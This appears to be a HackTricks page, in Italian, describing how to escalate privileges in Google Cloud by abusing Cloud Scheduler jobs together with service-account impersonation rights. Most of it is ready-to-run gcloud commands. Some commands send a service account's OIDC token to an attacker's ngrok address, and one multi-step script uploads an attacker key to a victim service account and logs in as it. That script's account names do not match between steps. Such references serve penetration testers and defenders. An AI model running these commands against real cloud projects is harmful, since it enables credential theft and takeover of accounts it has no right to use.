GCP - Cloud Scheduler Privesc

Support HackTricks

Cloud Scheduler

Maggiori informazioni in:

GCP - Cloud Scheduler Enum

cloudscheduler.jobs.create , iam.serviceAccounts.actAs, (cloudscheduler.locations.list)

Un attaccante con questi permessi potrebbe sfruttare Cloud Scheduler per autenticare i cron job come un specifico Service Account. Creando una richiesta HTTP POST, l'attaccante programma azioni, come la creazione di un bucket di Storage, da eseguire sotto l'identità del Service Account. Questo metodo sfrutta la capacità del Scheduler di mirare agli endpoint *.googleapis.com e autenticare le richieste, consentendo all'attaccante di manipolare direttamente gli endpoint delle API di Google utilizzando un semplice comando gcloud.

  • Contattare qualsiasi API google tramite googleapis.com con l'intestazione del token OAuth

Crea un nuovo bucket di Storage:

gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1

Per escalare i privilegi, un attaccante crea semplicemente una richiesta HTTP mirata all'API desiderata, impersonando il Servizio Account specificato

  • Esfiltrare il token del servizio account OIDC

gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

Se hai bisogno di controllare la risposta HTTP, puoi semplicemente dare un'occhiata ai log dell'esecuzione.

cloudscheduler.jobs.update, iam.serviceAccounts.actAs, (cloudscheduler.locations.list)

Come nel scenario precedente, è possibile aggiornare un scheduler già creato per rubare il token o eseguire azioni. Ad esempio:

gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

Un altro esempio per caricare una chiave privata su un SA e impersonarla:

# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
-keyout /tmp/private_key.pem \
-out /tmp/public_key.pem \
-subj "/CN=unused"

# Remove last new line character of the public key
file_size=$(wc -c < /tmp/public_key.pem)
new_size=$((file_size - 1))
truncate -s $new_size /tmp/public_key.pem

# Update scheduler to upload the key to a SA
## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND
gcloud scheduler jobs update http scheduler_lab_1 \
--schedule='* * * * *' \
--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
--message-body="{\"publicKeyData\": \"$(cat /tmp/public_key.pem | base64 -w 0)\"}" \
--update-headers "Content-Type=application/json" \
--location us-central1 \
--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com

# Wait 1 min
sleep 60

# Check the logs to check it worked
gcloud logging read 'resource.type="cloud_scheduler_job" AND resource.labels.job_id="scheduler_lab_1" AND resource.labels.location="us-central1"
jsonPayload.@type="type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished"' --limit 10 --project <project-id> --format=json

## If any  '"status": 200'  it means it worked!
## Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: "status": 400

# Build the json to contact the SA
## Get privatekey in json format
file_content=$(<"/tmp/private_key.pem")
private_key_json=$(jq -Rn --arg str "$file_content" '$str')

## Get ID of the generated key
gcloud iam service-accounts keys list --iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com

# Create the json in a file
## NOTE that you need to export your project-id in the env var PROJECT_ID
## and that this script is expecting the key ID to be the first one (check the `head`)
export PROJECT_ID=...
cat > /tmp/lab.json <<EOF
{
"type": "service_account",
"project_id": "$PROJECT_ID",
"private_key_id": "$(gcloud iam service-accounts keys list --iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d " " -f 1 | grep -v KEY_ID | head -n 1)",
"private_key": $private_key_json,
"client_email": "scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com",
"client_id": "$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com",
"universe_domain": "googleapis.com"
}
EOF

# Activate the generated key
gcloud auth activate-service-account --key-file=/tmp/lab.json

Riferimenti

Supporta HackTricks

Last updated